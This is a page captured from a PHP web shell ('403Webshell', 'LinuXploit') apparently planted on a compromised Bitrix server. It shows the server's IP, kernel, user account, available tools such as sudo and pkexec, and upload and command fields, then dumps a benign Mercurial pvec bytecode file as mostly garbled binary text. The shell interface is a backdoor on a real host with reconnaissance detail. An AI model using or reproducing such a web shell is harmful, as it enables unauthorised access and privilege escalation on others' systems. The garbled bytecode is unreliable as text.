403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /usr/lib64/python3.9/site-packages/mercurial/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /usr/lib64/python3.9/site-packages/mercurial/__pycache__/pvec.cpython-39.opt-1.pyc
a

�+�b�@s�dZddlmZddlmZddlmZmZdZedZ	dZ
e
dZe	eZedZ
e
d	d
Zdd�Zd
d�Zdd�Zdd�Zdd�Zdd�e�d�D�Zdd�Zdd�Zdd�Zdd�ZGd d!�d!e�Zd"S)#a3
A "pvec" is a changeset property based on the theory of vector clocks
that can be compared to discover relatedness without consulting a
graph. This can be useful for tasks like determining how a
disconnected patch relates to a repository.

Currently a pvec consist of 448 bits, of which 24 are 'depth' and the
remainder are a bit vector. It is represented as a 70-character base85
string.

Construction:

- a root changeset has a depth of 0 and a bit vector based on its hash
- a normal commit has a changeset where depth is increased by one and
  one bit vector bit is flipped based on its hash
- a merge changeset pvec is constructed by copying changes from one pvec into
  the other to balance its depth

Properties:

- for linear changes, difference in depth is always <= hamming distance
- otherwise, changes are probably divergent
- when hamming distance is < 200, we can reliably detect when pvecs are near

Issues:

- hamming distance ceases to work over distances of ~ 200
- detecting divergence is less accurate when the common ancestor is very close
  to either revision or total distance is high
- this could probably be improved by modeling the relation between
  delta and hdist

Uses:

- a patch pvec can be used to locate the nearest available common ancestor for
  resolving conflicts
- ordering of patches can be established without a DAG
- two head pvecs can be compared to determine whether push/pull/merge is needed
  and approximately how many changesets are involved
- can be used to find a heuristic divergence measure between changesets on
  different branches
�)�absolute_import�)�nullrev)�pycompat�utili�����cCs"d}|D]}|dt|�}q|S)zconvert a bytestring to a longr�)�ord)�bs�v�b�r�4/usr/lib64/python3.9/site-packages/mercurial/pvec.py�_binDsrcCs2d}t�|�D]}t�|d@�|}|dL}q|S)N��r)r�xrangeZbytechr)r�lr
�prrr�_strLs

rcCs t|dt��t|td��fS)zdepth and bitvecN)r�_depthbytes)rrrr�_splitUsrcCst|t�t|t�S�N)rr�	_vecbytes)�depthZbitvecrrr�_joinZsrcCs&d}|r"|d@r|d7}|dL}q|S)Nrrr)�x�crrr�_hweight^s
r!cCsg|]}t|��qSr)r!)�.0rrrr�
<listcomp>grr#rcCs.||A}d}|r*|t|d@7}|dL}q|S)z+find the hamming distance between two longsrrr)�_htab)�ar�dr rrr�_hammingjs
r'cCs�|\}}|\}}||kr,||||f\}}}}t||�}||}|}	||A}
d}||krh||dd}nd}||}
|
r�|r�|
|@r�|	|N}	|d8}|dK}qxn
t|	|�}	|
|	fS)Nrr
)r'�_flipbit)r�yr Zd1Zv1Zd2Zv2ZhdistZddistr�m�iZchangesrrrr�	_mergevects*

r,cCst|�d@t}|d|>AS)Nl��r)�hash�_vecbits)r�node�bitrrrr(�sr(cCs�|��}t�|d�si|_|j}|��|vr�|j}t�|��d�D]�}||vrD|�|�}|�	|�\}}|t
kr�dt|ddt��f||<qD|t
kr�||\}}	|dt
|	|�f||<qDt|||||�||<qDt||���}
tt�|
��S)z3construct a pvec for ctx while filling in the cache�
_pveccacherr�N)ZreporZsafehasattrr1ZrevZ	changelogrrr/Z
parentrevsrrrr(r,r�pvecZ	b85encode)�ctx�rZpvcZcl�nr/Zp1Zp2r&rr
rrr�ctxpvec�s$
r7c@sTeZdZdd�Zdd�Zdd�Zdd�Zd	d
�Zdd�Zd
d�Z	dd�Z
dd�ZdS)r3cCs6t|t�r(||_tt�|��\|_|_n
t|�|_dSr)	�
isinstance�bytes�_bsrrZ	b85decode�_depth�_vecr7)�selfZ	hashorctxrrr�__init__�s
z
pvec.__init__cCs|jSr)r:)r=rrr�__str__�szpvec.__str__cCs|j|jko|j|jkSr)r<r;�r=rrrr�__eq__�szpvec.__eq__cCs2|j|j}|dkrdSt|j|j�|kr.dSdS)NrFT)r;r'r<�r=rZdeltarrr�__lt__�szpvec.__lt__cCs||kSrrr@rrr�__gt__�szpvec.__gt__cCs*t|j|j�}t|j|j�|kr&dSdS)NFT)�absr;r'r<rBrrr�__or__�szpvec.__or__cCs||Brtd��|j|jS)Nsconcurrent pvecs)�
ValueErrorr;r@rrr�__sub__�szpvec.__sub__cCs(t|j|j�}t|j|j�}t||�Sr)rEr;r'r<�max)r=rr&�hrrr�distance�sz
pvec.distancecCs2t|j|j�}|tks*t|j|j�tkr.dSdS)NF)rErr;�_radiusr'r<)r=rZdistrrr�near�sz	pvec.nearN)�__name__�
__module__�__qualname__r>r?rArCrDrFrHrKrMrrrrr3�sr3N)�__doc__Z
__future__rr/r�rr�_sizeZ_bytesZ
_depthbitsrrr.rLrrrrr!rr$r'r,r(r7�objectr3rrrr�<module>s*+		
&

Youez - 2016 - github.com/yon3zu
LinuXploit